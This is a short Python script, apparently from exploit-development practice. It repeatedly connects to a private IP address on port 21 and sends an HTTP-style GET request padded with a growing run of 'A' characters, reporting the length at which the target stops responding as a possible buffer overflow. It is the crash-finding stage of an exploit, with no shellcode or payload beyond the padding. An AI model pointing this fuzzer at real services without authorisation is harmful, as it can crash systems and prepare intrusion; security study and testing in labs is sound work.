import socket
import time

buffer_length = 50

# Some IP
while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.5.138', 21))

        junk = 'A'*buffer_length

        payload = 'GET' + junk + 'HTTP/1.1\r\n\r\n'

        s.send(payload.encode('raw_unicode_escape'))
        buffer_length += 50
        print(buffer_length)
        print("Payload send successfully")
        s.close()
        time.sleep(1)
    except:
        print("may be overflow occurred at {}".format(buffer_length))